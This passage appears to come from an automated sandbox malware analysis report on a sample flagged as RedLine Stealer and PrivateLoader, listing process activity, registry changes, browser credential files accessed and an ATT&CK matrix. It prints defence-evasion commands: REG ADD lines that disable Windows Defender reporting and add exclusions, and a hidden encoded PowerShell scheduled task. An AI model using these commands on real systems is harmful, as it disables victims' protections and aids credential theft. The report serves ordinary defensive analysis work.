            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6c4774f0,0x6c477500,0x6c47750c
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "gXUhwMAMn" /SC once /ST 08:40:27 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: unknown unknown
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exe "C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exe"
            Source: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exeProcess created: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6b3d74f0,0x6b3d7500,0x6b3d750c
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpBinary or memory string: ..\..\opera\desktop\chrome_imports\chrome\browser\win\ui_automation_util.ccGetCachedBstrValue property is not a BSTR: GetCachedInt32Value property is not an I4: X64Cannot get the size of file version infoNo file version in the package\StringFileInfo\000004B0\ProductVersionNo product version value in the packageReceived an invalid version: \StringFileInfo\000004B0\ContinuousVersionReceived an invalid continuous build number: Cannot acquire internal version from the full version: \StringFileInfo\000004B0\StreamNo stream value in the packageCannot get exe output: version..\..\opera\desktop\windows\installer\common\file_version_utils_impl.ccInvalid version from exe: Cannot get exe output: streamCannot get app output Failed to run the elevated process: Failed wait for the elevated process: Unexpected result when waiting for elevated process: Shortcut element - no correct interface...\..\opera\desktop\windows\installer\common\pin_automator.ccDoneCannot get native menu handle.Cannot get desktop rect.Cannot find pin menu element.No rectangleCould not activate the menu item.ProgmanSysListView324
            Source: OPqTdTFbxWlK6znimRD995XD.exeBinary or memory string: Progman
            Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\netstandard\v4.0_2.0.0.0__cc7b13ffcd2ddd51\netstandard.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
            Source: C:\Users\user\Desktop\file.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_00414B04 EntryPoint,GetVersion,GetCommandLineA,GetStartupInfoA,GetModuleHandleA,32_2_00414B04

            Lowering of HIPS / PFW / Operating System Security Settings

            barindex
            Disable Windows Defender real time protection (registry)
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeRegistry key value created / modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{B63B5C26-9D9A-45CD-9FC0-F449F4174656}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware 1
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeRegistry key value created / modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{B63B5C26-9D9A-45CD-9FC0-F449F4174656}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableBehaviorMonitoring 1
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeRegistry key value created / modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{B63B5C26-9D9A-45CD-9FC0-F449F4174656}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableOnAccessProtection 1
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeRegistry key value created / modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{B63B5C26-9D9A-45CD-9FC0-F449F4174656}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableScanOnRealtimeEnable 1
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeRegistry key value created / modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{B63B5C26-9D9A-45CD-9FC0-F449F4174656}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableRealtimeMonitoring 1
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeRegistry key value created / modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{B63B5C26-9D9A-45CD-9FC0-F449F4174656}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableIOAVProtection 1
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeRegistry key value created / modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{B63B5C26-9D9A-45CD-9FC0-F449F4174656}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableRawWriteNotification 1
            Modifies Group Policy settings
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile written: C:\Windows\System32\GroupPolicy\gpt.ini
            Modifies the hosts file
            Source: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exeFile written: C:\Windows\System32\drivers\etc\hosts
            Disables UAC (registry)
            Source: C:\Users\user\Desktop\file.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUAJump to behavior

            Stealing of Sensitive Information

            barindex
            Yara detected RedLine Stealer
            Source: Yara matchFile source: C:\Users\user\Pictures\Minor Policy\eoK_HtB8HzOnJQBreBydnt5f.exe, type: DROPPED
            Yara detected PrivateLoader
            Source: Yara matchFile source: C:\Users\user\Pictures\Minor Policy\6CYB0iVk9rownSr74i6xHL6G.exe, type: DROPPED
            Source: Yara matchFile source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\home[1].exe, type: DROPPED
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\HistoryJump to behavior
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile opened: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior

            Remote Access Functionality

            barindex
            Yara detected RedLine Stealer
            Source: Yara matchFile source: C:\Users\user\Pictures\Minor Policy\eoK_HtB8HzOnJQBreBydnt5f.exe, type: DROPPED
            Yara detected PrivateLoader
            Source: Yara matchFile source: C:\Users\user\Pictures\Minor Policy\6CYB0iVk9rownSr74i6xHL6G.exe, type: DROPPED
            Source: Yara matchFile source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\home[1].exe, type: DROPPED

            Mitre Att&ck Matrix

            Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpactResource DevelopmentReconnaissance
            Valid Accounts1
            Windows Management Instrumentation            		1
            DLL Side-Loading            		1
            DLL Side-Loading            		1
            File and Directory Permissions Modification            		1
            OS Credential Dumping            		4
            File and Directory Discovery            		Remote Services1
            Archive Collected Data            		Exfiltration Over Other Network Medium1
            Encrypted Channel            		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationAbuse Accessibility FeaturesAcquire InfrastructureGather Victim Identity Information
            Default Accounts11
            Scripting            		1
            Scheduled Task/Job            		1
            Bypass User Account Control            		71
            Disable or Modify Tools            		1
            Credential API Hooking            		35
            System Information Discovery            		Remote Desktop Protocol1
            Data from Local System            		Exfiltration Over BluetoothJunk DataSIM Card SwapObtain Device Cloud BackupsNetwork Denial of ServiceDomainsCredentials
            Domain Accounts11
            Native API            		2
            Registry Run Keys / Startup Folder            		12
            Process Injection            		1
            Deobfuscate/Decode Files or Information            		Security Account Manager1
            Query Registry            		SMB/Windows Admin Shares1
            Credential API Hooking            		Automated ExfiltrationSteganographyData Encrypted for ImpactDNS ServerEmail Addresses
            Local Accounts112
            Command and Scripting Interpreter            		Login Hook1
            Scheduled Task/Job            		11
            Scripting            		NTDS631
            Security Software Discovery            		Distributed Component Object ModelInput CaptureTraffic DuplicationProtocol ImpersonationData DestructionVirtual Private ServerEmployee Names
            Cloud Accounts1
            Scheduled Task/Job            		Network Logon Script2
            Registry Run Keys / Startup Folder            		3
            Obfuscated Files or Information            		LSA Secrets2
            Process Discovery            		SSHKeyloggingScheduled TransferFallback ChannelsData Encrypted for ImpactServerGather Victim Network Information
            Replication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
            Software Packing            		Cached Domain Credentials351
            Virtualization/Sandbox Evasion            		VNCGUI Input CaptureData Transfer Size LimitsMultiband CommunicationService StopBotnetDomain Properties
            External Remote ServicesSystemd TimersStartup ItemsStartup Items1
            Timestomp            		DCSync1
            Application Window Discovery            		Windows Remote ManagementWeb Portal CaptureExfiltration Over C2 ChannelCommonly Used PortInhibit System RecoveryWeb ServicesDNS
            Drive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
            DLL Side-Loading            		Proc Filesystem1
            Remote System Discovery            		Cloud ServicesCredential API HookingExfiltration Over Alternative ProtocolApplication Layer ProtocolDefacementServerlessNetwork Trust Dependencies
            Exploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
            Bypass User Account Control            		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedExfiltration Over Symmetric Encrypted Non-C2 ProtocolWeb ProtocolsInternal DefacementMalvertisingNetwork Topology
            Supply Chain CompromisePowerShellCronCron1
            File Deletion            		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingExfiltration Over Asymmetric Encrypted Non-C2 ProtocolFile Transfer ProtocolsExternal DefacementCompromise InfrastructureIP Addresses
            Compromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd12
            Masquerading            		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingExfiltration Over Unencrypted Non-C2 ProtocolMail ProtocolsFirmware CorruptionDomainsNetwork Security Appliances
            Compromise Software Supply ChainWindows Command ShellScheduled TaskScheduled Task1
            Modify Registry            		KeyloggingProcess DiscoveryTaint Shared ContentScreen CaptureExfiltration Over Physical MediumDNSResource HijackingDNS ServerGather Victim Org Information
            Compromise Hardware Supply ChainUnix ShellSystemd TimersSystemd Timers351
            Virtualization/Sandbox Evasion            		GUI Input CapturePermission Groups DiscoveryReplication Through Removable MediaEmail CollectionExfiltration over USBProxyNetwork Denial of ServiceVirtual Private ServerDetermine Physical Locations
            Trusted RelationshipVisual BasicContainer Orchestration JobContainer Orchestration Job12
            Process Injection            		Web Portal CaptureLocal GroupsComponent Object Model and Distributed COMLocal Email CollectionCommonly Used PortInternal ProxyDirect Network FloodServerBusiness Relationships

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
